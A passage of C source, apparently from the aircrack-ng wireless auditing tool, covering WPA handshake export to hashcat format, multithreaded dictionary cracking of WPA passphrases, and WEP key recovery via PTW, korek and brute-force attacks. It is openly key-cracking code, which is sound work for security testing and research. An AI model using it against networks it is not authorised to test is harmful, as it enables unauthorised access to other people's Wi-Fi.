ALLEGE((MIN(sizeof(hx->essid), sizeof(ap->essid))) <= 32); //-V547
memcpy(&ap->essid, //-V512
&hx->essid,
MIN(sizeof(hx->essid), sizeof(ap->essid)));
memcpy(&ap->bssid, &hx->mac_ap, sizeof(hx->mac_ap));
memcpy(&ap->wpa.stmac, &hx->mac_sta, sizeof(hx->mac_sta));
memcpy(&ap->wpa.snonce, &hx->nonce_sta, sizeof(hx->nonce_sta));
memcpy(&ap->wpa.anonce, &hx->nonce_ap, sizeof(hx->nonce_ap));
memcpy(&ap->wpa.eapol, &hx->eapol, sizeof(hx->eapol));
memcpy(&ap->wpa.keyver, &hx->keyver, sizeof(hx->keyver));
memcpy(&ap->wpa.keymic, &hx->keymic, sizeof(hx->keymic));
assert(sizeof(hx->eapol_len) == 2);
ap->wpa.eapol_size = le16_to_cpu(hx->eapol_len);
return (ap);
}
// See: https://hashcat.net/wiki/doku.php?id=hccapx
static struct MessagePairLUT
{
uint8_t found_mask;
uint8_t eapol_mask;
uint8_t message_pair;
} message_pair_lookup_table[] = {
{(1 << 1) + (1 << 2), (1 << 2), 128},
{(1 << 1) + (1 << 4), (1 << 4), 129},
{(1 << 2) + (1 << 3), (1 << 2), 130},
{(1 << 2) + (1 << 3), (1 << 3), 131},
{(1 << 3) + (1 << 4), (1 << 3), 132},
{(1 << 3) + (1 << 4), (1 << 4), 133},
};
static hccapx_t ap_to_hccapx(struct AP_info * ap)
{
REQUIRE(ap != NULL);
struct hccapx hx;
uint32_t temp;
uint8_t ssid_len;
memset(&hx, 0, sizeof(hx));
temp = cpu_to_le32(HCCAPX_SIGNATURE);
memcpy(&hx.signature, &temp, sizeof(temp));
temp = cpu_to_le32(HCCAPX_CURRENT_VERSION);
memcpy(&hx.version, &temp, sizeof(temp));
hx.message_pair = 0;
for (size_t i = 0; i < ArrayCount(message_pair_lookup_table); ++i)
{
const struct MessagePairLUT * item = &message_pair_lookup_table[i];
if ((ap->wpa.found & item->found_mask) == item->found_mask
&& (ap->wpa.eapol_source & item->eapol_mask) != 0)
{
hx.message_pair = item->message_pair;
}
}
ALLEGE(hx.message_pair > 0);
if ((ap->wpa.eapol_source & (1 << 3)) != 0)
{
fprintf(stderr,
"WARNING: The created HCCAPX file will not be able to "
"properly convert back to PCAP format.\n");
if (ap->wpa.eapol_size >= sizeof(hx.eapol))
{
fprintf(stderr,
"FATAL: EAPOL data from M3 exceeds maximum size of "
"255 bytes.\n");
}
}
ssid_len = (uint8_t) ustrlen(ap->essid);
memcpy(&hx.essid_len, &ssid_len, sizeof(ssid_len));
memcpy(&hx.essid, &ap->essid, sizeof(hx.essid)); //-V512
memcpy(&hx.mac_ap, &ap->bssid, sizeof(ap->bssid));
memcpy(&hx.mac_sta, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
memcpy(&hx.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
memcpy(&hx.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
memcpy(&hx.nonce_sta, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
memcpy(&hx.nonce_ap, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
hx.eapol_len = cpu_to_le16((uint16_t) ap->wpa.eapol_size);
memcpy(&hx.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
return (hx);
}
static int do_make_hccapx(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
size_t elt_written;
printf("\n\nBuilding Hashcat (3.60+) file...\n\n");
if (display_wpa_hash_information(ap_cur) != 0)
{
return (FAILURE);
}
printf("\n");
// write file
FILE * fp_hccapx;
strcat(opt.hccapx, ".hccapx");
fp_hccapx = fopen(opt.hccapx, "wb");
if (fp_hccapx == NULL)
{
printf("\nFailed to create Hashcat X capture file\n");
return (FAILURE);
}
struct hccapx hx = ap_to_hccapx(ap_cur);
elt_written = fwrite(&hx, sizeof(struct hccapx), 1, fp_hccapx);
ALLEGE(fclose(fp_hccapx) != -1);
if ((int) elt_written == 1)
{
printf("\nSuccessfully written to %s\n", opt.hccapx);
return (SUCCESS);
}
else
{
printf("\nFailed to write to %s\n !", opt.hccapx);
return (FAILURE);
}
}
static int do_wpa_crack(void)
{
int cid;
char key1[128];
// display program banner
if (!opt.is_quiet && !_speed_test)
{
if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
erase_display(2);
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_BLUE);
}
moveto((80 - (int) strlen(progname)) / 2, 2);
printf("%s", progname);
}
// Initial thread to communicate with.
cid = 0;
// Loop until no passphrases or one is found.
while (!wpa_cracked && !close_aircrack)
{
// clear passphrase buffer.
memset(key1, 0, sizeof(key1));
if (_speed_test)
strcpy(key1, "sorbosorbo");
else
{
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (opt.dict == NULL
|| fgets(key1, sizeof(key1) - 1, opt.dict) == NULL)
{
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
if (next_dict(opt.nbdict + 1) != 0)
{
return (FAILURE);
}
else
continue;
}
else
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
// Validate incoming passphrase meets the following criteria:
// a. is not the pipeline shutdown sentinel.
// b. is at least 8 bytes and roughly UTF-8 compatible.
if (((uint8_t) key1[0] == 0xff && (uint8_t) key1[1] == 0xff)
|| (size_t) calculate_passphrase_length((uint8_t *) key1)
< MIN_WPA_PASSPHRASE_LEN)
{
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
++nb_tried;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
continue;
}
}
/* count number of lines in next wordlist chunk */
wl_count_next_block(&(wpa_data[cid]));
/* send the passphrase */
cid = (cid + 1) % opt.nbcpu;
(void) wpa_send_passphrase(key1, &(wpa_data[cid]), 1);
}
return (FAILURE);
}
static int next_key(char ** key, int keysize)
{
REQUIRE(key != NULL);
REQUIRE(keysize > 0);
char *tmp, *tmpref;
int i, rtn;
unsigned int dec;
char * hex;
tmpref = tmp = (char *) malloc(1024);
ALLEGE(tmpref != NULL);
ALLEGE(tmp != NULL);
while (1)
{
rtn = 0;
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (opt.dict == NULL)
{
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
free(tmpref);
tmp = NULL;
return (FAILURE);
}
else
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
if (opt.hexdict[opt.nbdict])
{
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (fgets(tmp, ((keysize * 2) + (keysize - 1)), opt.dict) == NULL)
{
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
if (next_dict(opt.nbdict + 1) != 0)
{
free(tmpref);
tmp = NULL;
return (FAILURE);
}
else
continue;
}
else
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
i = (int) strlen(tmp);
if (i <= 2) continue;
if (tmp[i - 1] == '\n') tmp[--i] = '\0';
if (tmp[i - 1] == '\r') tmp[--i] = '\0';
i = 0;
hex = strsep(&tmp, ":");
while (i < keysize && hex != NULL)
{
const size_t hex_len = strlen(hex);
if (hex_len == 0 || hex_len > 2)
{
rtn = 1;
break;
}
if (sscanf(hex, "%x", &dec) == 0)
{
rtn = 1;
break;
}
(*key)[i] = (uint8_t) dec;
hex = strsep(&tmp, ":");
i++;
}
if (rtn)
{
continue;
}
}
else
{
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (fgets(*key, keysize, opt.dict) == NULL)
{
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
if (next_dict(opt.nbdict + 1) != 0)
{
free(tmpref);
tmp = NULL;
return (FAILURE);
}
else
continue;
}
else
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
i = (int) strlen(*key);
if (i <= 2) continue;
if (i >= 64) continue;
if ((*key)[i - 1] == '\n') (*key)[--i] = '\0';
if ((*key)[i - 1] == '\r') (*key)[--i] = '\0';
}
break;
}
free(tmpref);
return (SUCCESS);
}
static int set_dicts(const char * args)
{
REQUIRE(args != NULL);
int len;
char * optargs = strdup(args);
char * poptargs = optargs;
char * optarg;
if (optargs == NULL)
{
perror("Failed to allocate memory for arguments");
return (FAILURE);
}
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
opt.dictfinish = opt.totaldicts = opt.nbdict = 0;
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
// Use a temporary poptargs var because \a strsep trashes the value.
while ((opt.nbdict < MAX_DICTS)
&& (optarg = strsep(&poptargs, ",")) != NULL)
{
if (!strncasecmp(optarg, "h:", 2))
{
optarg += 2;
opt.hexdict[opt.nbdict] = 1;
}
else
{
opt.hexdict[opt.nbdict] = 0;
}
if (!(opt.dicts[opt.nbdict] = strdup(optarg)))
{
free(optargs);
perror("Failed to allocate memory for dictionary");
return (FAILURE);
}
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
opt.nbdict++;
opt.totaldicts++;
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
}
free(optargs);
for (len = opt.nbdict; len < MAX_DICTS; len++) opt.dicts[len] = NULL;
next_dict(0);
while (next_dict(opt.nbdict + 1) == 0)
{
}
next_dict(0);
return (0);
}
/*
Uses the specified dictionary to crack the WEP key.
Return: SUCCESS if it cracked the key,
FAILURE if it could not.
*/
static int crack_wep_dict(void)
{
struct timeval t_last;
struct timeval t_now;
int i, origlen, keysize;
char * key;
keysize = opt.keylen + 1;
update_ivbuf();
if (wep.nb_ivs < TEST_MIN_IVS)
{
printf("\n%ld IVs is below the minimum required for a dictionary "
"attack (%d IVs min.)!\n",
wep.nb_ivs,
TEST_MIN_IVS);
return (FAILURE);
}
key = (char *) malloc(sizeof(char) * (opt.keylen + 1));
if (key == NULL) return (FAILURE);
gettimeofday(&t_last, NULL);
t_last.tv_sec--;
while (1)
{
if (next_key(&key, keysize) != SUCCESS)
{
free(key);
return (FAILURE);
}
i = (int) strlen(key);
origlen = i;
while (i < opt.keylen)
{
key[i] = key[i - origlen];
i++;
}
key[i] = '\0';
if (!opt.is_quiet)
{
gettimeofday(&t_now, NULL);
if ((t_now.tv_sec - t_last.tv_sec) > 0)
{
show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0);
gettimeofday(&t_last, NULL);
}
}
for (i = 0; i <= opt.keylen; i++)
{
wep.key[i] = (unsigned char) key[i];
}
if (check_wep_key(wep.key, opt.keylen, 0) == SUCCESS)
{
free(key);
wepkey_crack_success = 1;
return (SUCCESS);
}
}
}
/*
Uses the PTW attack to crack the WEP key.
Return: SUCCESS if it cracked the key,
FAILURE if it could not.
*/
static int crack_wep_ptw(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
int(*all)[256];
int i, j, len = 0;
opt.ap = ap_cur;
all = malloc(32 * sizeof(int[256]));
ALLEGE(all != NULL);
// initial setup (complete keyspace)
memset(all, 1, 32 * sizeof(int[256]));
// setting restricted keyspace
for (i = 0; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
if ((opt.is_alnum && (j < 32 || j >= 128))
|| (opt.is_fritz && (j < 48 || j >= 58))
|| (opt.is_bcdonly && (j > 0x99 || (j & 0x0F) > 0x09)))
all[i][j] = 0;
}
}
// if debug is specified, force a specific value.
for (i = 0; i < 32; i++)
{
for (j = 0; j < 256; j++)
{
if (opt.debug_row[i] == 1 && opt.debug[i] != j)
all[i][j] = 0;
else if (opt.debug_row[i] == 1 && opt.debug[i] == j)
all[i][j] = 1;
}
}
if (ap_cur->nb_ivs_clean > 99)
{
ap_cur->nb_ivs = ap_cur->nb_ivs_clean;
// first try without bruteforcing, using only "clean" keystreams
if (opt.keylen != 13)
{
if (PTW_computeKey(ap_cur->ptw_clean,
wep.key,
opt.keylen,
(int) (KEYLIMIT * opt.ffact),
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = opt.keylen;
}
else
{
/* try 1000 40bit keys first, to find the key "instantly" and you
* don't need to wait for 104bit to fail */
if (PTW_computeKey(ap_cur->ptw_clean,
wep.key,
5,
1000,
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 5;
else if (PTW_computeKey(ap_cur->ptw_clean,
wep.key,
13,
(int) (KEYLIMIT * opt.ffact),
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 13;
else if (PTW_computeKey(ap_cur->ptw_clean,
wep.key,
5,
(int) (KEYLIMIT * opt.ffact) / 3,
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 5;
}
}
if (!len)
{
ap_cur->nb_ivs = ap_cur->nb_ivs_vague;
// in case it's not found, try bruteforcing the id field and include
// "vague" keystreams
PTW_DEFAULTBF[10] = 1;
PTW_DEFAULTBF[11] = 1;
if (opt.keylen != 13)
{
if (PTW_computeKey(ap_cur->ptw_vague,
wep.key,
opt.keylen,
(int) (KEYLIMIT * opt.ffact),
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = opt.keylen;
}
else
{
/* try 1000 40bit keys first, to find the key "instantly" and you
* don't need to wait for 104bit to fail */
if (PTW_computeKey(ap_cur->ptw_vague,
wep.key,
5,
1000,
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 5;
else if (PTW_computeKey(ap_cur->ptw_vague,
wep.key,
13,
(int) (KEYLIMIT * opt.ffact),
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 13;
else if (PTW_computeKey(ap_cur->ptw_vague,
wep.key,
5,
(int) (KEYLIMIT * opt.ffact) / 10,
PTW_DEFAULTBF,
all,
opt.ptw_attack)
== 1)
len = 5;
}
}
free(all);
if (!len) return (FAILURE);
opt.probability = 100;
key_found(wep.key, len, -1);
return (SUCCESS);
}
static int missing_wordlist_dictionary(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
if (opt.wkp == NULL && opt.hccap == NULL && opt.hccapx == NULL)
{
printf("Please specify a dictionary (option -w).\n");
}
else
{
if (opt.wkp)
{
return (do_make_wkp(ap_cur));
}
if (opt.hccap)
{
return (do_make_hccap(ap_cur));
}
if (opt.hccapx)
{
return (do_make_hccapx(ap_cur));
}
}
return (SUCCESS);
}
static int perform_wep_crack(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
int ret = FAILURE;
int j = 0;
struct winsize ws;
if (ioctl(0, TIOCGWINSZ, &ws) < 0)
{
ws.ws_row = 25;
ws.ws_col = 80;
}
/* Default key length: 128 bits */
if (opt.keylen == 0) opt.keylen = 13;
if (j + opt.do_brute > 4)
{
printf("Bruteforcing more than 4 bytes will take too long, aborting!");
return (FAILURE);
}
for (int i = 0; i < opt.do_brute; i++)
{
opt.brutebytes[j + i] = opt.keylen - 1 - i;
}
opt.do_brute += j;
if (opt.ffact <= FLT_EPSILON)
{
if (opt.do_ptw)
opt.ffact = 2;
else
{
if (!opt.do_testy)
{
if (opt.keylen == 5)
opt.ffact = 5;
else
opt.ffact = 2;
}
else
opt.ffact = 30;
}
}
memset(&wep, 0, sizeof(wep));
if (opt.do_ptw)
{
if (!opt.is_quiet)
printf("Attack will be restarted every %d captured ivs.\n",
PTW_TRY_STEP);
opt.next_ptw_try = (int) (ap_cur->nb_ivs_vague
- (ap_cur->nb_ivs_vague % PTW_TRY_STEP));
do
{
if (!opt.is_quiet)
{
char buf[1024];
snprintf(buf,
sizeof(buf),
"Got %ld out of %d IVs",
ap_cur->nb_ivs_vague,
opt.next_ptw_try);
moveto((ws.ws_col - (int) strlen(buf)) / 2, 6);
fputs(buf, stdout);
erase_line(0);
}
if (ap_cur->nb_ivs_vague >= opt.next_ptw_try)
{
if (!opt.is_quiet)
printf("Starting PTW attack with %ld ivs.\n",
ap_cur->nb_ivs_vague);
ret = crack_wep_ptw(ap_cur);
ALLEGE(ret >= 0 && ret <= RESTART); //-V560
if (opt.oneshot == 1 && ret == FAILURE)
{
printf(" Attack failed. Possible reasons:\n\n"
" * Out of luck: you must capture more IVs. "
"Usually, 104-bit WEP\n"
" can be cracked with about 80 000 IVs, "
"sometimes more.\n\n"
" * Try to raise the fudge factor (-f).\n");
ret = 0;
}
if (ret)
{
opt.next_ptw_try += PTW_TRY_STEP;
printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try);
}
}
if (ret) usleep(8000);
} while (!close_aircrack && ret != 0);
}
if (close_aircrack)
return (FAILURE);
else if (opt.dict != NULL)
{
ret = crack_wep_dict();
ALLEGE(ret >= 0 && ret <= RESTART); //-V560
}
else
{
for (int i = 0; i < opt.nbcpu; i++)
{
/* start one thread per cpu */
if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute
&& opt.do_mt_brute)
{
if (pthread_create(&(tid[id]),
NULL,
&inner_bruteforcer_thread,
(void *) (long) i)
!= 0)
{
perror("pthread_create failed");
return (FAILURE);
}
id++;
}
if (pthread_create(
&(tid[id]), NULL, &crack_wep_thread, (void *) (long) i)
!= 0)
{
perror("pthread_create failed");
return (FAILURE);
}
id++;
}
if (!opt.do_testy)
{
do
{
ret = do_wep_crack1(0);
ALLEGE(ret >= 0 && ret <= RESTART); //-V560
} while (ret == RESTART);
if (ret == FAILURE)
{
printf(" Attack failed. Possible reasons:\n\n"
" * Out of luck: you must capture more IVs. "
"Usually, 104-bit WEP\n"
" can be cracked with about one million IVs, "
"sometimes more.\n\n"
" * If all votes seem equal, or if there are "
"many negative votes,\n"
" then the capture file is corrupted, or the "
"key is not static.\n\n"
" * A false positive prevented the key from "
"being found. Try to\n"
" disable each korek attack (-k 1 .. 17), "
"raise the fudge factor\n"
" (-f)");
if (opt.do_testy)
printf("and try the experimental bruteforce attacks "
"(-y).");
printf("\n");
}
}
else
{
for (int i = opt.keylen - 3; i < opt.keylen - 2; i++)
{
do
{
ret = do_wep_crack2(i);
ALLEGE(ret >= 0 && ret <= RESTART); //-V560
} while (ret == RESTART);
if (ret == SUCCESS) break;
}
if (ret == FAILURE)
{
printf(" Attack failed. Possible reasons:\n\n"
" * Out of luck: you must capture more IVs. "
"Usually, 104-bit WEP\n"
" can be cracked with about one million IVs, "
"sometimes more.\n\n"
" * If all votes seem equal, or if there are "
"many negative votes,\n"
" then the capture file is corrupted, or the "
"key is not static.\n\n"
" * A false positive prevented the key from "
"being found. Try to\n"
" disable each korek attack (-k 1 .. 17), "
"raise the fudge factor\n"
" (-f)");
if (opt.do_testy)
printf("or try the standard attack mode instead (no -y "
"option).");
printf("\n");
}
}
}
#if defined(__GNUC__) && !defined(__clang__)
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wstrict-overflow"
#endif
ALLEGE(ret >= 0 && ret <= RESTART);
if (opt.is_quiet != 1 && ret == FAILURE)
{
struct winsize ws;
if (ioctl(0, TIOCGWINSZ, &ws) < 0)
{
ws.ws_row = 25;
ws.ws_col = 80;
}
moveto((ws.ws_col - 13) / 2, 5);
erase_line(2);
printf("KEY NOT FOUND\n");
moveto(0, 24);
}
#if defined(__GNUC__) && !defined(__clang__)
#pragma GCC diagnostic pop
#endif
return (ret);
}
static int perform_wpa_crack(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
#ifdef HAVE_SQLITE
int rc;
char * zErrMsg = 0;
const char looper[4] = {'|', '/', '-', '\\'};
int looperc = 0;
int waited = 0;
const char * sqlformat
= "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN "
"passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
"essid ON essid.essid_id = pmk.essid_id WHERE "
"essid.essid = '%q'";
char * sql;
#endif
dso_ac_crypto_engine_init(&engine);
if (opt.dict == NULL && db == NULL)
{
return (missing_wordlist_dictionary(ap_cur));
}
g_cpuset = ac_cpuset_new();
ALLEGE(g_cpuset);
ac_cpuset_init(g_cpuset);
ac_cpuset_distribute(g_cpuset, (size_t) opt.nbcpu);
ap_cur = get_first_target();
if (ap_cur == NULL)
{
printf("No valid WPA handshakes found.\n");
return (FAILURE);
}
if (memcmp(ap_cur->essid, ZERO, ESSID_LENGTH) == 0 && !opt.essid_set)
{
printf("An ESSID is required. Try option -e.\n");
return (FAILURE);
}
if (opt.essid_set && ap_cur->essid[0] == '\0')
{
memcpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid));
}
dso_ac_crypto_engine_set_essid(&engine, ap_cur->essid);
if (db == NULL)
{
int starting_thread_id = id;
first_wpa_threadid = id;
ALLEGE(opt.nbcpu >= 1);
for (int i = 0; i < opt.nbcpu; i++)
{
if (ap_cur->ivbuf_size)
{
free(ap_cur->ivbuf);
ap_cur->ivbuf = NULL;
ap_cur->ivbuf_size = 0;
}
uniqueiv_wipe(ap_cur->uiv_root);
ap_cur->uiv_root = NULL;
ap_cur->nb_ivs = 0;
// assumption: an eapol exists.
if (ap_cur->wpa.state <= 0)
{
fprintf(stderr,
"Packets contained no EAPOL data; unable "
"to process this AP.\n");
return (FAILURE);
}
const size_t key_size = MAX_PASSPHRASE_LENGTH + 1;
const size_t kb_size = WL_CIRCULAR_QUEUE_SIZE * key_size;
/* start one thread per cpu */
wpa_data[i].active = 1;
wpa_data[i].ap = ap_cur;
wpa_data[i].thread = i;
wpa_data[i].threadid = id;
#if HAVE_POSIX_MEMALIGN
if (posix_memalign((void **) &(wpa_data[i].key_buffer),
CACHELINE_SIZE,
kb_size))
perror("posix_memalign");
#else
wpa_data[i].key_buffer = calloc(1, kb_size);
#endif
ALLEGE(wpa_data[i].key_buffer);
wpa_data[i].cqueue = circular_queue_init(
wpa_data[i].key_buffer, kb_size, key_size);
ALLEGE(wpa_data[i].cqueue);
memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key));
ALLEGE(pthread_mutex_init(&wpa_data[i].mutex, NULL) == 0);
if (pthread_create(&(tid[id]),
NULL,
(ap_cur->wpa.state == 7
? &crack_wpa_thread
: &crack_wpa_pmkid_thread),
(void *) &(wpa_data[i]))
!= 0)
{
perror("pthread_create failed");
return (FAILURE);
}
ac_cpuset_bind_thread_at(g_cpuset, tid[id], (size_t) i);
id++;
}
int ret = do_wpa_crack(); // we feed keys to the cracking threads
// Shutdown the circular queue.
bool shutdown;
do
{
shutdown = true;
for (int i = 0; i < opt.nbcpu; ++i)
{
int active;
if (close_aircrack_fast || wpa_cracked)
{
circular_queue_reset(wpa_data[i].cqueue);
}
ALLEGE(pthread_mutex_lock(&(wpa_data[i].mutex)) == 0);
active = wpa_data[i].active;
ALLEGE(pthread_mutex_unlock(&(wpa_data[i].mutex)) == 0);
if (active)
{
bool result = circular_queue_try_push(
wpa_data[i].cqueue, "\xff\xff\xff\xff", 4)
== 0;
if (!result) shutdown = false;
}
}
} while (!shutdown);
// we wait for the cracking threads to end
for (int i = starting_thread_id; i < opt.nbcpu + starting_thread_id;
i++)
if (tid[i] != 0)
{
ALLEGE(pthread_join(tid[i], NULL) == 0);
tid[i] = 0;
}
// find the matching passphrase
int i;
for (i = 0; i < opt.nbcpu; i++)
{
if (wpa_data[i].key[0] != 0)
{
ret = SUCCESS;
break;
}
}
if (ret == SUCCESS)
{
if (opt.is_quiet)
{
printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
clean_exit(EXIT_SUCCESS);
return (SUCCESS);
}
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_RED);
}
moveto((80 - 15 - (int) strlen(wpa_data[i].key)) / 2, 8);
erase_line(2);
printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
move(CURSOR_DOWN, 11);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
moveto(0, 22);
clean_exit(EXIT_SUCCESS);
}
else if (!close_aircrack)
{
if (opt.is_quiet)
{
printf("\nKEY NOT FOUND\n");
clean_exit(EXIT_FAILURE);
return (FAILURE);
}
if (opt.stdin_dict)
{
moveto(30, 5);
printf(" %zd\n", nb_tried);
}
else
{
uint8_t ptk[64] = {0};
uint8_t mic[32] = {0};
show_wpa_stats(wpa_data[i].key,
(int) strlen(wpa_data[i].key),
(unsigned char *) (wpa_data[i].key),
ptk,
mic,
1);
moveto((80 - 13) / 2, 8);
erase_line(2);
printf("KEY NOT FOUND\n");
moveto(0, 22);
}
}
}
#ifdef HAVE_SQLITE
else
{
if (!opt.is_quiet && !_speed_test)
{
if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
erase_line(2);
if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
moveto((80 - (int) strlen(progname)) / 2, 2);
printf("%s", progname);
}
sql = sqlite3_mprintf(sqlformat, ap_cur->essid);
while (1)
{
rc = sqlite3_exec(db, sql, sql_wpacallback, ap_cur, &zErrMsg);
if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
{
fprintf(stdout,
"Database is locked or busy. Waiting %is ... %1c \r",
++waited,
looper[looperc]);
fflush(stdout);
looperc = (looperc + 1) % sizeof(looper);
sleep(1);
if (zErrMsg)
{
sqlite3_free(zErrMsg);
zErrMsg = NULL;
}
}
else
{
if (rc != SQLITE_OK && rc != SQLITE_ABORT)
{
fprintf(stderr, "SQL error: %s\n", zErrMsg);
}
if (waited != 0) printf("\n\n");
wpa_wordlists_done = 1;
if (zErrMsg)
{
sqlite3_free(zErrMsg);
zErrMsg = NULL;
}
break;
}
}
sqlite3_free(sql);
}
#endif
return (SUCCESS);
}
#if DYNAMIC
static void load_aircrack_crypto_dso(int simd_features)
{
simd_init();
if (simd_features == -1)
{
simd_features = simd_get_supported_features();
simd_features &= ac_crypto_engine_loader_get_available();
}
if (ac_crypto_engine_loader_load(simd_features) != 0) exit(EXIT_FAILURE);
simd_destroy();
}
#endif
int main(int argc, char * argv[])
{
int i, n, ret, option, j, ret1, nbMergeBSSID;
int cpu_count, showhelp, z, zz, forceptw;
char *s, buf[128];
struct AP_info * ap_cur = NULL;
int old = 0;
char essid[ESSID_LENGTH + 1];
int restore_session = 0;
#if defined(__i386__) || defined(__x86_64__) || defined(__arm__) \
|| defined(__aarch64__)
int in_use_simdsize = 0;
#endif
int nbarg = argc;
access_points = c_avl_create(station_compare);
targets = c_avl_create(station_compare);
ac_crypto_init();
ret = FAILURE;
showhelp = 0;
// Start a new process group, we are perhaps going to call kill(0, ...)
// later
setsid();
memset(&opt, 0, sizeof(opt));
rand_init();
memset(mc_pipe, -1, sizeof(mc_pipe));
memset(cm_pipe, -1, sizeof(cm_pipe));
memset(bf_pipe, -1, sizeof(bf_pipe));
#if DYNAMIC
// Load the best available shared library, or the user specified one.
int simd_features = -1;
if (argc >= 2 && strncmp(argv[1], "--simd=", 7) == 0)
{
const char * simd = &argv[1][7];
simd_features = ac_crypto_engine_loader_string_to_flag(simd);
if (simd_features < SIMD_SUPPORTS_NONE)
{
fprintf(stderr, "Unknown SIMD architecture.\n");
exit(EXIT_FAILURE);
}
}
load_aircrack_crypto_dso(simd_features);
#endif
// Get number of CPU (return -1 if failed).
cpu_count = get_nb_cpus();
opt.nbcpu = 1;
if (cpu_count > 1)
{
opt.nbcpu = cpu_count;
}
db = NULL;
/* check the arguments */
opt.nbdict = 0;
opt.amode = 0;
opt.do_brute = 1;
opt.do_mt_brute = 1;
opt.showASCII = 0;
opt.probability = 51;
opt.next_ptw_try = 0;
opt.do_ptw = 1;
opt.max_ivs = INT_MAX;
opt.visual_inspection = 0;
opt.firstbssid = NULL;
opt.bssid_list_1st = NULL;
opt.bssidmerge = NULL;
opt.oneshot = 0;
opt.logKeyToFile = NULL;
opt.wkp = NULL;
opt.hccap = NULL;
opt.forced_amode = 0;
opt.hccapx = NULL;
forceptw = 0;
ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
ALLEGE(signal(SIGQUIT, sighandler) != SIG_ERR);
ALLEGE(signal(SIGTERM, sighandler) != SIG_ERR);
ALLEGE(signal(SIGALRM, SIG_IGN) != SIG_ERR);
ALLEGE(pthread_mutex_init(&mx_apl, NULL) == 0);
ALLEGE(pthread_mutex_init(&mx_ivb, NULL) == 0);
ALLEGE(pthread_mutex_init(&mx_eof, NULL) == 0);
ALLEGE(pthread_mutex_init(&mx_dic, NULL) == 0);
ALLEGE(pthread_cond_init(&cv_eof, NULL) == 0);
// When no params, no point checking/parsing arguments
if (nbarg == 1)
{
showhelp = 1;
goto usage;
}
// Check if we are restoring from a session
if (nbarg == 3
&& (strcmp(argv[1], "--restore-session") == 0
|| strcmp(argv[1], "-R") == 0))
{
cracking_session = ac_session_load(argv[2]);
if (cracking_session == NULL)
{
fprintf(stderr, "Failed loading session file: %s\n", argv[2]);
return (EXIT_FAILURE);
}
nbarg = cracking_session->argc;
printf("Restoring session\n");
restore_session = 1;
}
while (1)
{
int option_index = 0;
static const struct option long_options[]
= {{"bssid", 1, 0, 'b'},
{"debug", 1, 0, 'd'},
{"combine", 0, 0, 'C'},
{"help", 0, 0, 'H'},
{"wep-decloak", 0, 0, 'D'},
{"ptw-debug", 1, 0, 'P'},
{"visual-inspection", 0, 0, 'V'},
{"oneshot", 0, 0, '1'},
{"cpu-detect", 0, 0, 'u'},
{"new-session", 1, 0, 'N'},
// Even though it's taken care of above, we need to
// handle the case where it's used along with other
// parameters.
{"restore-session", 1, 0, 'R'},
{"simd", 1, 0, 'W'},
{"simd-list", 0, 0, 0},
{0, 0, 0, 0}};
// Load argc/argv either from the cracking session or from arguments
option = getopt_long(
nbarg,
((restore_session && cracking_session) ? cracking_session->argv
: argv),
